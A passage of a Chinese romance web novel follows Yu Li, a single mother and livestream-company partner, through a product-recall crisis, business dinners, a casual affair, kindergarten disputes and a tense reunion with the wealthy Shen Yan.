寒暄几句后,有工作人员的过来提醒吴邺典礼快开始了。 沈砚是贵客,吴邺亲自邀请他坐到礼台下的贵宾座,才去往后台。 周扬找了瓶水递给他,提醒他吃药:“南城口味偏辣,龚叔特别交代我 ,一定得注意您饮食。” 沈砚将药吞了,又喝一口热水,看一眼腕表:“典礼结束就走,edric既然在这儿,我们没必要再跟吴邺周旋,诚意到了就行。” “是。”周扬习惯了老板的随即应变,“那我给您定机票?” “不用。”沈砚拧上瓶盖,目光落在礼台上替新娘牵裙摆的小姑娘脸上,“我记得来之前汇丰的杨董跟秘书办预约,你问问杨懂今晚有没有空。” 周扬似乎意外,看了一眼正平静观礼的沈砚一眼:“好的。” 汇丰跟星耀是最大的竞争对手。 到会所应酬前。 喻梨一边开车一边跟许英通电话。 “你说星星是不是像你,颜控啊?看到脸好看的抱着人家腿不松手,我那个大腹便便的表妹夫想逗她,她脸一撇,用屁股对着人家,乐死我了。” 喻梨笑了笑:“我女儿审美在线的,还在坐婴儿车的时候就直愣愣盯着国外金发碧眼的浓颜系帅哥,不帅的,她都不让人家抱。她今天怎么样,没给你添麻烦吧?” “还是怕羞,但是被果果一朵棉花糖搞定了,任务完成得很棒,我表妹笑得合不拢嘴,说想生对龙凤胎,就果果跟星星这样的。我说她可真敢想,一胎就想搞定俩,结果人家跟我说什么现在医院技术发达,可以定制,跟他们家老吴已经商量好了。现在小姑娘是艺高人胆大,你别说,她老公真不是一般人,今天来的宾客,各个藏龙卧虎,我这表妹,以后就是我的金大腿了。”许英说着,看一眼沙发上正在分红包的果果跟星星一眼。 作为顺利完成任务的小花童,俩小孩一人得了一个大红包,果果高兴得不得了,这会儿正把红包拆开,数数,一副财迷样。 他不仅数自己的,也要星星的:“你的,我帮你存,零花钱,妈妈说可以买好多东西。” 喻星摇摇头,把红包死死捏着,不肯给他,黑白分明的眼睛望着他,只说:“给妈妈。” 许英恰好看到这儿,有些好笑,朝星星挥挥手:“星星,过来,要不要跟妈妈通电话?”又笑着对话筒里的喻梨说,“你女儿就是聪明,我们家小兔崽子,骗得走她人,骗不走她钱。” 喻梨就在电话里呼叫:“星星,妈妈听说你今天赚红包啦?” 小姑娘一脸得意,重重地‘嗯’了一声,“许阿姨说是大红包,给妈妈,不给别人。” “果果哥哥也不行吗?”喻梨逗她。 星星看一眼把红票票一张一张铺在沙发上的果果,不再犹豫:“哥哥有。” “行,妈妈给你存起来,我们星星第一次赚钱呢。”又交代她,“跟哥哥一块儿吃晚饭,孙奶奶晚点来接你,晚上孙奶奶陪你睡觉好吗?” 小姑娘抿了抿唇,有点不乐意,捏着鼓鼓囊囊的红包,不肯回答。 “宝贝,妈妈要加班,但是妈妈保证,明天给你做早餐好吗,你最喜欢的?” “肉松三明治!”星星喊出来。 “对,肉松三明治。”喻梨哄她。 星星立刻笑了,露出她可爱的小虎牙,连再见都忘记跟喻梨说,叮叮咚咚跑去跟果果炫耀:“我妈妈明天给我做肉松……三明治!” 果果正趴在沙发上专心致志地数钱,“一张,两张,三张……”没有搭理她。 星星就跑到另一边,对着果果耳朵又奶声奶气讲一遍:“我妈妈明天给我做肉松三明治。” 果果有点生气,但是又不肯生星星的气,只好憋屈地说:“我数错了,要重新数一遍,你都不会数数,唉……” 星星鼓了鼓脸颊,看一眼他又看一眼自己手上的红包,有点落寞地重复一遍:“我妈妈明天要给我做肉松三明治……” 许英看两个小萝卜丁牛头不对马嘴地交流,也是觉得醉醉的。 那款婴儿护肤品的产品检验结果最终出来,的确是产品成分不合格。 喻梨第一时间想要召回已经发货的所有产品,并对消费者进行公开道歉和理赔,同时向合作方XX护肤品牌根据合约条款发起诉讼。 他们直播间,作为第三方,有监管不力的责任,消费者从他们这里购买,自然赔付人应该是他们,而合作方的违约责任,他们也必然要追究到底。 这是作为公关,喻梨第一时间想到的,减少公司损失,挽回公司信誉最好的办法。 一旦这样做,公司将面临大笔赔偿,在官司打赢之前,现金流将会陷入枯竭。 今晚的应酬,纪欣瑜约了合作方谈缓一缓尾款的事。 这种应酬,不外乎吃吃喝喝,喻梨比纪欣瑜能喝,纪欣瑜比喻梨更擅长交际,几杯酒下肚,场面就颇为豪放了,纪欣瑜迎合几个大男人,开一些露骨的带颜色的玩笑。 喻梨找了个上洗手间的借口,到露台处抽烟。 她跟纪欣瑜合作两年多,清楚她的工作方式,对她的任何作风,不予置评,每个人生存经验不一样,喻梨从来不拿自己那套,去对别人指指点点,但同样的,对于自己的原则,也有自己的坚持。 跟不同的人做生意,总有不同的方式方法,纪欣瑜总说嘴巴上让那群臭男人占点便宜就占点便宜呗,男权社会,风气就这样。 南城的冬天,总带着某种黏腻又阴暗的潮湿,喻梨刚来的时候很不习惯,赵雨浓就教她,一方水土养一方人,你以为南城为什么嗜辣,祛湿好吗? 久而久之,喻梨竟然也习惯吃辣,也逐渐习惯缺少暖阳的城市。 但她有喻星。 只要有星星的地方,好像再累,也不觉得有什么。 想到这里,喻梨忍不住点开手机监控,想看看客厅里的宝贝在干嘛。 孙阿姨正在陪喻星玩她的洋娃娃的扮装游戏。 沈砚接了个电话。 今晚能见杨总,不过是给吴邺敲个警钟,因此饭局上,他聊得有些意兴阑珊,中途接到沈清电话,也没挂断,礼貌地出来接电话。 包厢旁边就是露台,沈砚松了松领带,一边迈着长腿走,一边听那头沈清说:“你也要考虑爸妈的心情,妈去年才做了乳腺手术,你总不可能真的一辈子不结婚吧。” “上次相亲的徐家小姐怎么样?听说你们后来还一起吃过两次饭,你总要给妈一个准话,阿砚,以前的事情,过去的就让它过去……” 沈砚垂眸时想,的确,过去的应该让它过去,他跟徐清晚吃过两次饭,并不讨厌,如果人生最后一定需要某种交代,徐晚清倒也不错。 沈砚刚要回答,再抬眸时,目光顿住,某一瞬间,以为自己看错,但他定了定心神,分明看见那个女人。 穿一件深色系的羊绒大衣,同色系的小皮靴,头发挽成髻,露出白皙又纤薄的耳廓,侧脸线条柔美,她抽烟的姿态非常娴熟,一只手松松夹着烟头,一只手握着手机屏幕,隐约的,仿佛在笑…… 沈砚喉结滑了滑,清晰地听见心脏某种鼓动,但他一动不敢动,仿佛怕惊走什么,就那么死死的,盯着前面靠着栏杆的女人。 喻梨手机里划进一条消息,是公司里的一男孩。 “今晚约吗?”附上的,是一张冷白的,垒得整整齐齐的八块腹肌照。 喻梨笑了,回复两个字:“改天。”随即,将烟头随意灭在旁边垃圾箱的烟灰缸里。 一根烟的功夫,她还得回去应酬,她转身。 沈砚的听筒里,还夹杂着沈清的声音:“喂,你在听吗,沈砚……沈砚……” 沈砚的胸口,被某种情绪充斥,鼓胀的,丰盈的,要破胸而出的,仿佛要爆破的…… 原来不可以,他面无表情地想。 原来再见面,那些所谓的合适,挺好,也都只是掩耳盗、自欺欺人! 第43章 第43章黑色宾利车身停驻过的地…… 喻梨刚准备将手机揣兜里,纪欣瑜给她打电话。 喻梨接起来:“怎么了?” “人趴下了,喝吐了都,真没劲,叫个车。” “行,我马上过来。” 她一边接电话,一 边目不斜视的经过沈砚,冬日的寒风凛冽,她额前一缕碎发掉落下来,拂在白皙的面颊微微晃动,偏浓颜系的妆容,五官立体,明眸皓齿,眼底却隐约有轻微的疲态,身上带着淡淡酒意。 沈砚浑身僵硬地望着她。 她像是没注意到旁边有人,连余光都没有一丝一毫分给他。 就那么平淡的,不为所动的,仿佛陌生人一样从他身边走过。 擦肩而过的时候,沈砚终于拽住她手臂,嗓音是从喉咙里挤出来的沙质感:“喻梨。” 喻梨的耳边还挂着电话,被他拽住,不得不分神看他一眼,起初微微有些惊讶,但很快神态平稳,仿佛觉得有意思似的,挂完电话招呼他:“沈总?真巧,您也在这儿应酬?” 她态度平和,脸上带着礼节性微笑,态度宛如是碰见多年不见的商业合作伙伴。 沈砚喉头滚了滚,极力克制,才说:“嗯。什么时候回国的?” 喻梨将手机随手揣进衣兜里,随意说:“前两年,国外混得不好,就回来了。” 沈砚忽然就不知道可以再说什么,她态度那坦然平和,全然没有当年的冷漠激动,连恨都没有。 他想寒暄说回国怎么不联系。 但是没有立场,她当年那样恨他,有什么必要联系他。 他想问怎么个不好法,需不需要帮忙,发现更没有立场,他当年那样欺负她,在国内,他就让她过得很不好。 沈砚无意识握了握手指,他站得笔直,比她高出一大截,离得那样近,却分明又那样远。 他张了张唇想开口再说点什么,还没找好话,喻梨看一眼腕表,不好意思道:“抱歉啊,沈总,有人在等我。祝您在南城一切顺利。” 沈砚有些僵硬地点了一下头。 仿佛已经很好。 没有当年的冷言冷语,针锋相对。 确实已经很好。 她还祝他一切顺利,不是么? 但,不够。 不是这样的。 沈砚还想叫住她,发现她已经转身推门进了某件包厢。 喻梨给公司那小孩发信息:【喝酒了,来接我,开我的车】,扔了一个定位。 祁阳:【?】 下一秒像是反应过来,配上一张兔斯基兴奋的狂奔图。 推开包厢门,果然供应商已经趴下了两个,另外还有一个,正坐纪欣瑜旁边,腿大咧咧地敞着,跟纪欣瑜一起吞吐烟雾。 喻梨瞅一眼趴桌上的俩,笑了笑:“让服务员加了份醒酒汤,都喝点儿再走?” “别!千万别!”唯一醒着的那个赶紧摆手,“我现在就听不了你们说一个‘喝’字,我说你们北方姑娘就是飒,那句话怎么说的,‘哐哐’就是干是不是,哥哥我是真的服!服了啊!英雄!豪杰!”说着,还拱拱手。 “这不你们男人定的规矩么,什么事儿不说,先喝,不喝晕点儿,咱也不好意思跟您谈缓钱的事儿啊。”纪欣瑜调侃道。 “千万不要!我们下次就有事聊事!你们的难处我也知道了,老实说直播公司做成你们这样的,我还挺佩服的,说道歉就道歉,说赔钱就赔钱,用你们北方话经常说得什么来着‘敞亮’!就冲你们俩这格局,不是一般姑娘能比的,别说姑娘了,男人里边也挑不出几个,短期看呢,是对账号有损伤,但舆论嘛,我们最近也注意了,公众还是很理智的,毕竟事情出在品牌方嘛,你们资金抽调现在有困难也是正常的,这样,我尽量给你们延期一个月,怎么样?” 喻梨跟纪欣瑜相互看了一眼,对这个结果还算满意。 喻梨起身,往他俩茶杯里各添了点热茶。 约摸20分钟后,饭局结束。 助理帮两个喝醉的合作商都妥帖地打车送回家。 纪欣瑜有司机,上车前问需不需要顺便送她。 喻梨站在冷风里裹了裹大衣外套,淡淡道:“有人接,你先走吧。” 纪欣瑜就有些玩味地盯了她一眼,升上车窗。 喻梨抬脚走去停车场。 祁阳已经在她车旁等她,穿一件黑色夹克,一边等她,一边玩游戏,他手指偏冷白,玩游戏的时候,指头非常灵活。 见到喻梨,他把游戏退出了。 喻梨把车钥匙递给他,随口问:“等多久了?” 祁阳把手机踹兜里,又替她拉开副驾驶车门,微笑:“几分钟。” 喻梨进副驾驶前,忽然抬手勾住他脖子,跟他接吻。 祁阳愣了愣,但很快被她身上的酒意搅动,来了点感觉,下意识搂住她纤细腰肢,他很会亲,一手插进她发丝,一手搂着她腰,喻梨很快被她亲得双眼迷蒙,有些软软地推开他,“先上车。” “好。”祁锋很听话,立刻停止,但看她脸颊被她吻出薄薄的一层粉,忍不住微微勾了一下唇。 喻梨弯腰进入副驾驶。 祁阳很快小跑去驾驶座。 启动手刹时问她:“定的上次那家酒店。” 喻梨却忽然说:“我想去你家。” 祁阳怔了一下,偏头看她一眼。 “不方便?”喻梨拂了一下耳发问。 “没有,家里有点乱,你不要嫌弃就好。” “没事。”喻梨笑笑说。 身后,一辆黑色宾利悄无声息地跟上。 祁阳似乎没有注意被跟踪,喻梨喝了酒,大约觉得有些燥意,亦或者刚才确实被他吻出感觉,降下车窗。 远远的,沈砚看她伸出一只手,仿佛在感受风。 沈砚几乎能够想象她的样子,微微闭着眼睛的,一脸享受的。 就像刚才她被陌生的男人掐住腰肢吻到几乎站不稳。 金丝镜片后,他眼神很冷,透着某种陌生的阴蛰,但又像自虐般的窥视着,任心脏被一寸寸凌迟。 其实都不用跟,成年男女,大半夜做点什么再自然不过。 但沈砚不叫停,司机也只能默默跟上。 喻梨第一次来祁阳家,有点诧异。 是栋上了年纪的老小区,不算脏乱差,小区内只有一栋楼层,打扫得挺干净的,但却是实实在在的老破小。 祁阳推来楼栋门,小心翼翼观察她神色:“要不然还是去……” “没关系。”喻梨说,“只是好奇,你直播间销量一直不错,为什么……租在这里?” 老旧小区是感应灯,有些楼层的灯坏了,不亮,祁阳就把手机电筒打开,走前面替她照明:“想尽快存点钱买房。” “哦。”喻梨点点头,有些意外,通常这个年纪的男孩子都喜欢享受当下,尤其做直播这行赚快钱的,很少有人会认认真正思考自己的未来,更别说规划。 三楼,楼层不算高,祁阳打开门。 套一的住房,确实有点乱,但没有想象中糟糕,只是处处透着单身男人的气息。 祁阳有些不好意思:“你坐一下,我先收拾一下。” 被喻梨拽住:“不用。”她已经吻过来。 祁阳刚才就被她挑逗得需要极力隐忍,这会儿一下子仿佛被点着,咬她咬得有点重,喻梨‘嘶’得一声,他动作轻了点,改为安抚似的亲亲她。 她沾了酒,身上味道却一点都不难闻,隐约的,十分令人着迷…… 祁阳来之前,洗过澡,身上干干净净,有少年的清爽感,脱衣服压下来之前,喻梨摸到他腹肌,硬邦邦的,但没有照片里那样明显。 她轻笑:“P图啊?” 对方似乎不满意她的不专心,咬了她锁骨一下,某个部位蹭着她,解释:“没P,练好久,不太明显,你很久不找我。”说着,有些委屈似的,又咬她一口,然后…… 喻梨提醒他:“戴……” 她在这方面异常坚持,祁阳没奈何,混乱中,去摸夹克里的东西,撕开戴上。 做得时候喻梨喜欢摸他脸,仿佛透过他看另一个人,偶尔还会不自觉发呆。 祁阳最讨厌她这种不专心,通常会弄得重一点,喻梨忍不住在他背上抓出痕迹…… 她痛的样子很可爱,祁阳忍不住亲吻她。 最开始,她其实不让他亲的,每次他俯身,她都偏过头,做完就走,就差往床榻上甩钱,一副‘拔吊无情’地样子。 后来有次她喝醉了,大约把他真的当成别人,哭唧唧问他为什么,为什么从来不进她的梦,摸他的脸说,她都快忘记他样子…… 她那时哭得真的很可怜,他心里又有恨,气得没办法了,咬住她唇,她好像被亲舒服了,猫一样,叫叫得很好听,祁阳那一刻确定自己喜欢她。 但她不喜欢他,一个月最多联系一两次,依然是做完就走,绝不留恋。 今晚是意外,洗完澡,她似乎很累了,睡在他沙发上不动。 祁阳给找自己的卫衣给她穿,又换了新床单抱她上床,她似乎困得不成样子,没多久,就睡着了。 第二天不到六点,沙发上祁阳听见她窸窸窣窣穿衣服的声音。 “这么早?”他问她。 “要回去给我女儿做早餐,答应她了。你睡你的。”喻梨想穿回自己的衣服,但昨晚做得太狠,祁阳家也没有烘干机,她只好穿他卫衣,随意裹着大衣,拧上包包走人。 冬日清晨的迷雾里,天色有些暗,隐约的,日出的光亮慢慢要冲破薄雾。 沈砚看她乱糟糟地出门。 她在破旧的小区门口找到自己的车,裹着大衣,大衣里露出一件圆领的男士卫衣,大约是困倦,慵懒得打了两个呵欠,才钻进驾驶座。 约莫一分钟,奔驰平稳行驶,拐了个弯,钻出小巷。 喻梨从后视镜里看了一眼,那辆低调的属于京城的宾利终于拐歪驶向另一边,她才收回视线,安心的行驶向主干道,开回家。 黑色宾利车身停驻过的地方,留下的,是一地烟头。 第44章 第44章他嗓音低沉响亮,整个包…… 喻梨回家将沾染了酒气和烟味的衣服扔进脏衣篓,又冲了个澡,确认自己身上没留下任何烟酒味才去厨房给星星做早晨。 赵阿姨最先起床,看见她已经在餐台忙碌,笑了:“星星昨晚上一整晚都念叨你要给她做三明治。” 喻梨其实不会做饭,唯一拿手的就是简易三明治,星星是忠实粉丝,喻梨就变着花样给她弄,小姑娘总是幸福地跟人炫耀,我妈妈做的三明治世界第一好吃。 喻梨做了四份,一份给赵阿姨,一份包起来,准备给隔壁果果。 赵阿姨看了一眼时间:“该去叫星星起床了。”] 喻梨把做好的三明治推给她:“您吃早餐吧,今天我帮她弄。” “行。”赵阿姨帮着收拾了一下琉璃台。 今天天气又降温了,喻梨给星星裹得严严实实,雪白的印花鸭绒服,里面是红白相间的毛妮格子裙,白色打底袜,小姑娘抱着喜欢的爱莎公主,乖巧地任妈妈给自己扎头发。 喻梨很会梳辫子,特意学过几个发型,星星打小发量茂盛,发丝又黑有亮,怎么换发辫都好看,辫好辫子,喻梨让她自己挑了喜欢的发卡。 戴好喜欢的草莓发夹,小姑娘就跑妈妈的镜子面前左看右看,臭美地问她:“妈妈,我漂不漂亮?” 喻梨被她逗笑:“宝贝当然漂亮。” “是世界第一漂亮吗?”非要跟喻梨确认一遍似的,又跑她面前仰着脑袋问。 “对,星星是世界第一漂亮可爱的宝贝!”说完,亲亲女儿脸颊。 小姑娘顿时又羞涩又开心,有点痒似的躲开妈妈的吻,又忽然想起什么,叮叮咚咚跑回自己的儿童房,从枕头底下摸出一个鼓鼓囊囊的红包:“妈妈,给你,我的红包,果果哥哥说可以买好多东西,你拿去买,就不用上班赚钱钱啦,可以每天都陪我。” 喻梨愣了一下,星星吐字还不算清楚,长句要表达好,有时还需要组织好久才能表达清楚,且经常词不达意,但这句长句说得极为顺溜,她都不知道小姑娘是不是想了很久,才能一口气说完。 她心里有点酸酸的,弯腰把女儿抱起来:“赚钱是大人的事,星星以后不想这个,妈妈争取抽更多的时间陪你好不好?” “妈妈跟我拉钩钩。”小姑娘伸出白嫩嫩的小指头。 小机灵鬼,喻梨想,伸出指头跟小姑娘钩了一下。 星星顿时笑得牙不见牙。 周一,喻梨送俩孩子去幼儿园。 一见到果果,星星就兴奋地把妈妈做的三明治递给他,强调:“我妈妈做的,世界第一好吃。” 果果绅士的接过来:“谢谢。” 星星还不放心地凑到他面前,奶声奶气认真叮嘱:“要吃完哦,我们小朋友不可以浪费粮食。” 果果不服气:“我吃饭都是第一名。” 星星就放心了,满意点点头。 喻梨被她逗得发笑。 但是一到幼儿园笑不出来,上周元旦舞台发生的事,家长们似乎不满意老师们就这么放任过去,喻梨被叫到谈话室。 茉莉妈妈跟书语妈妈都在,两个人都是全职妈妈,又都住对面别墅区,一大早就是标准的贵妇级别的装扮,身上那种养尊处优的睥睨感很重。 书语妈妈看一眼职业装束的喻梨,背脊挺得更直了:“事情不能总和稀泥和过去,丁是丁,卯是卯,小朋友们从小要有正确的是非观,星星妈妈,你说是吗?” “我当然赞同,但是孩子们的事让她们自己解决,我们大人在这里上纲上线,是不是挺幼稚的?”喻梨不卑不亢道。 茉莉妈妈气笑了:“如果什么事都由着小朋友性子来,那还要什么幼儿园,还需要什么家长,为了培养茉莉,我可是天天研究教育心理学,就是为了给孩子更科学合理的教育引导,可现在的情况是,以后遇到被抢东西,到底该不该教她抢回来,或者抢了别人的东西,要不要好好跟其他小朋友道歉……” 喻梨听她一长串,简直头皮发麻。 园长倒是笑眯眯的:“茉莉家长,您也不要激动,我们学校在孩子是非观的教育方面是非常重视的,两位家长也不要觉得学校就是在和稀泥,把这件事糊弄过去,这样吧,我给你们看看这两天里孩子们的监控片段吧。” 幼儿园一般不轻易放开监控视频,但每个角落都装有监控,一旦发生问题,涉及到纠纷的部分,才会有监控作为佐证。 园长显然早有准备,放了两段小一班的视频。 一段是午饭时间,小朋友们在老师的带领下,自己乖乖排队打饭,然后到自己的位置上吃饭。 喻星坐在茉莉的旁边,她比茉莉高,但茉莉比她胖,吃饭也比喻星吃得快,吃得香香的,让人一看就很有胃口。 茉莉妈妈看到这儿,顿时有些小骄傲,茉莉吃饭从来都认认真真,比别的小朋友乖多了。 旁边的喻星吃得慢一点,而且吃一口就忍不住看一眼茉莉,拿黑白分明的眼睛瞅她。 茉莉很快把盘子里的饭吃完了,开始东张西望别的小朋友,又像是没有吃饱,还蠕动着小嘴巴想吃。 喻星殷勤地把自己的小餐盘推过去,餐盘里的虾仁肉松饼是小朋友们的最爱,一周只有一次机会吃到,大部分小朋友一打完饭,第一个吃的就是这个,喻星把饼留到最后,似乎在讨好得问茉莉要不要? 茉莉睁大了眼睛,有点不敢相信,但很快高高兴兴拿到手里,幸福地咬下一大口。 喻星有些腼腆地笑,两个小姑娘放回空餐盘的时候,手牵着手,高高兴兴的。 这是喻星的第一次示好。 另一段是下午活动的时间段。 小朋友们在学校操场上玩游戏。 玩着玩着,茉莉有点喘,跑累了在树荫下休息。 喻星本来玩得好好,看到旁边的茉莉,忽然拿着手里小球球跑过去,嘴巴趴在茉莉耳边说悄悄话。 说完,茉莉就笑了,对她说了一个口型。 然后,茉莉飞奔去找到了老师,大声地说:“方老师,喻星刚才跟我道歉了,她说不是 故意抢我小旗帜,我跟喻星是好朋友,她把最喜欢的虾仁饼让给我,我原谅她啦。” 方老师笑了笑,摸摸茉莉的头,大声的表扬她,再看一眼捂着脸蹲在树下害羞不已的喻星,冲她招了招手。 郁星不是不想道歉,只是小孩子也有自尊,那天当着很多人的面,小姑娘没人撑腰,总是说不出口‘对不起’三个字。 两个大人看完,面面相觑,脸色微微涨红,尤其茉莉妈妈,女儿说跟喻星是好朋友的时候,简直在啪啪打她的脸。 喻梨挺欣慰的,她没问喻星为什么不想道歉,即使是三岁的小朋友,也有自己的小心事和是非观,本来她想过两天在问问的。 但她的星星,真的非常让她骄傲 园长温柔地说:“我想有些小朋友之间的矛盾,小朋友有自己的解决方式。” 园长打完总结,茉莉妈妈和书语妈妈自然不好再发难,茉莉妈妈勉强说了句,“我们茉莉也该向书语道歉,我今晚回家会好好教育她。” 书语妈妈脸色有些僵硬地点点头。 两个人一同离开。 剩园长还有话跟喻梨说。 50多岁的院长拿出喻星的入学材料:“星星妈妈,最近我们收到家委会的一些疑问,关于星星爸爸的事,当然这是您的私事,我们不好过问,但是既然有家长提出质疑,院方也必须回应,我们BSS入学要求十分严格,在招收学生的时候,确实会偏向于更完善健全的家庭,我记得星星入学的时候,有面试过星星爸爸,但这学期快结束,星星爸爸也没怎么露面,星星是个好孩子,我不希望因为这些让她在学校遭受一些不好的言论……” 喻梨怔了怔,一时不知道该怎么回答。 园长没有为难她:“您有困难的地方,院方可以尽量配合您。” 喻梨点头,道谢,没有就这个问题多做解释。 去教室看了一下星星才走。 星星适应能力很强,开学时,第一次上幼儿园的好多同学都在哭,星星就有些茫然地在旁边看,大约习惯妈妈工作忙碌,陪她的时间很少,所以在幼儿园里也不哭不闹,很快适应,有时候还会高高兴兴跟喻梨分享自己在幼儿园的朋友。 她在这里很开心。 推荐这所幼儿园的是纪欣瑜,她比她更了解南城,说你既然要给孩子最好的,BSS幼儿园是最好的选择,入学要求虽然严格,但也不是完全没办法,她在南城还是有点关系网的,最主要的是面试第一关爸爸的问题,但也不算难题,‘给孩子找个爸爸就行了’,纪欣瑜给她介绍了自己认识的群演。 “入学后就没人管你了,谁整天逮着爸爸问东问西,读这种幼儿园的爸爸们哪个不忙?” 彼时,喻梨为了替喻星选幼儿园选得晕头转向,综合比较,还是bss最有优势,接纳了纪欣瑜的提议。 许英听她说完园长的谈话,想了想,跟她说【我听到一个小道消息,不知道会不会跟你目前的遭遇有关。】 【你知道家委会的说话权基本都掌握在别墅群那几个女人手上,为首的是我们班级一个家长,丈夫姓杨,是汇丰的董事,身价不菲,最近这位杨夫人正绞尽脑汁想将国外回来的小侄女转进BSS。】 【她需要一个入学名额,如果今年小班没人转走,这个入学名额就不存在,所以家委会必须挤走一个学生,柿子捡软的捏,她们可能盯上了你跟星星。】 听到这里,喻梨不禁皱眉,脸色很难看。 她不得不开始花时间去了解这位杨夫人。 而同时,公司的资金流危机并未彻底解决,虽然部分供应商答应可以晚结尾款,巨额的赔付款依然让整个公司感到吃力,尤其跟护肤品牌的官司,更是耗时耗力。 简单说,纪欣瑜跟喻梨需要大额贷款,或者这种时候能有强有力资本注资。 纪欣瑜跟喻梨都有些焦头烂额,周三,两人受邀,参加宏鑫资本老总的饭局。 宏鑫资本实力雄厚,但既然是资本家,就一定不是慈善机构,开出的条件无异于趁火打劫,双反边吃边谈,相互试探对方底线,并未谈拢。 这种事,也不能表现得太急,不是一次两次能谈成的。 饭局结束得比预想快,喻梨大衣抄进臂弯里,最后一个出包厢。 纪欣瑜在包间走廊碰上一位友人,两个人正在聊天。 忽然转身过来小声对喻梨说:“跟我一块儿去跟财神爷打个招呼,见见咱们南城首富,不一定能讨得了好,但有枣没枣,咱先敲一棒子再说。” 喻梨点头。 跟纪欣瑜去了最大一间包厢。 可容纳二十几个人的包厢,今日意外的人多,引荐纪欣瑜人姓张,走到组局的金董旁边说了两句,这种饭局有美女加入,金董自然是乐意的,又的确见过纪欣瑜两面,抬手跟她招手:“小纪,来,坐这里。” 喻梨从踏进包厢开始就有些僵硬。 好歹来了南城两年,包厢里有几张认识的面孔是正常的,皆是南城的大佬级别,还有许英提过的那位汇丰的杨总,喻梨也是查杨夫人资料时见过他照片,但坐在主位的沈砚她是没有想到的。 不怪喻梨注意到他,沈砚气质从来出挑,眉目出众,又被奉在主位,走哪里都是众星捧月的架势,只是这些年大约气势收敛了些,穿了一件简单的深色系英式西服,垂眸认真听人说话时,气质矜贵内敛,旁边有比他年纪大的人正低头跟他殷勤地说着什么。 如果喻梨参加过许英表妹的婚礼,就会知道,那个人是吴邺。 金董忽然招呼纪欣瑜,引起饭桌上几个大佬的注意,有人偏头望过来,有人在让服务生加位置。 金董这才发现来了两个,顺势问道:“小纪,你旁边这位是?” “我合伙人,上次跟您介绍过的,金董。”纪欣瑜笑盈盈道,携着喻梨走过去。 “喻梨,坐这里。”主位的沈砚跟右边的人小声说了句什么,再抬头时,目光静静望过来,桃花眼幽深,忽然开口,偏头指了一下身旁的位置。 他嗓音低沉清晰,整个包厢忽然安静下来,落针可闻。 第45章 第45章您现在对我来说像一棵树…… 沈砚旁边的男人已经站起来让位,姿态谦和的:“喻小姐,我们换个位置。” 金董和吴邺都忍不住去看喻梨,显然没有想到在南城这样的地方,居然会有沈砚在意的人,而且沈砚的口吻,并不是一时起兴,语气不容置疑。 喻梨克制着让自己镇定下来,南城的几位大佬都在,她不可能这时候拂沈砚的面子,挤出一丝笑容,态度坦荡自然,喊得亲昵:“沈砚哥。” 她的口吻,亲昵中有别于男女之情的暧昧,倒让局上一群精明的人物摸不着头脑。 金董随意惯了,开口便问:“小喻跟沈总是?” 喻梨已经落座,抬头大大方方地承认:“弟妹,曾经的。” 一句话定了跟沈砚的关系。 沈砚喉结滑动,不轻不重看她一眼。 在场只有吴邺是京城人,当年关于沈二的意外也略有耳闻,闻言面上惊疑不定,觑一眼沈砚眼色,又跟摸不着头脑的金董递了个眼神。 金董何等眼力劲儿,立刻不再追问,笑眯眯地亲自给喻梨倒了杯酒,敬她:“那可要谢谢喻小姐赏光。” 喻梨急忙起身,金董是长辈,又是南城首富,碰杯时她将杯沿放得极低,给足对方敬畏,大大方方一口干了,“得感谢金董您款待。” 纪欣瑜都惊呆了,她不过借朋友之名,想在首富这里应个卯,拉点关系,看有没有机会解决公司最近的资金困境,没想到包厢里各个都是大佬级别的就算了,喻梨还能混到主位旁边,一看主位那人就不一般,连首富都给足面子的人,能一般么。 她偷偷跟喻梨使了个 眼色,喻梨暗中递给她一个稍安勿躁的眼神。 包厢里氛围顿时又热络起来。 吴邺又跟沈砚继续刚才关于项目上的话题,金董起了头,有人来找喻梨敬酒,沈砚余光瞥见她微红的耳廓,应该是方才已经喝过一轮,将她手里酒杯抽走:“她酒力浅。”说完,帮她喝了,空酒杯直接隔自己面前,仿佛没收,没人敢再没眼色地过来敬她。 吴邺不得不注意起喻梨,沈砚很少喝酒,这是圈里人都知道的事,今晚就连做东的金董都只敢提‘以茶代酒’的话,可见这位‘弟妹’的分量在沈砚这里,的确不一般。 纪欣瑜不想浪费这次机会,已经积极地开启交际模式,大约因为‘喻梨’这个插曲,平时这些高高在上的大佬们都更和善几分,气氛居然有种其乐融融的和谐。 喻梨坐在沈砚旁边,难免有几分心浮气躁,他倒是没怎么跟她说话,大约跟吴邺确实有事要聊,只是有人敬她酒,被他‘拦截’后,再有服务生添茶,他一边跟吴邺说话,修长手指一边不动声色推了一杯茶过来。 茶汤色泽清浅,这种地方最是讲究,用的当然再好不过的上等茶叶,喻梨喝了一口,稳稳心神,汇丰杨总坐对面,隔得远,如果今日沈砚不在,她必定是要上前攀谈的,星星的事虽然只是许英的揣测,但绝不至于空穴来风…… 她正想着,沈砚余光注意到她,大约摸到点她意思,薄唇抿了一口茶,忽然跟她说:“手机拿出来。” 喻梨对上他目光,沈砚平静道:“让他扫你二维码。” 喻梨清楚他意思,是让她借他的势,他愿意给她借。 “您误会了。”她小声道,语气淡淡的,依旧是微笑的模样,“跟杨总没什么业务上的往来。” 沈砚桃花眼眯了眯,幽深的瞳仁里,情绪流转,目光落在她瓷白的却因为酒意染了一丝红晕的脸上,忽然自嘲地扯了一下唇角,挺拔的身体微微往椅背,像是觉得空气不大流通,抬手松了一下领口。 他往后靠的角度能看见她偏圆的脑袋,浅棕色的卷发,发丝扎成髻,用发夹固定住,但仍有耳发垂落下来,衬得耳廓和侧脸的肤色雪白柔软,脖颈修长,背脊纤薄,那样柔软温和的姿态,却隐约透着某种拒人于千里之外的固执。 饭局结束时,当然已经很晚。 纪欣瑜喝得有些微醺,喻梨搀扶着她,金董那边体贴得问需不需要送两位女士回家,喻梨道谢说外头有司机等着,就不劳烦了,匆忙扶着纪欣瑜进了厕所。 纪欣瑜吐了大约五六分钟,喻梨给她递了一瓶依云,吐完她胸口舒服许多,有点神清气爽的意思,一边整理妆容,一边‘审问’起喻梨。 “我喝完第一圈就大致摸到点沈总的身份了,姐姐好歹也是混过北城的,也知道你以前人脉广,但是真没想到你能直接搭上沈砚这尊大佛,小梨子,你还跟我藏着掖着呢,这可是是沈砚!你们到底什么关系?我怎么看,怎么都觉得不简单。”看她的目光炙热。 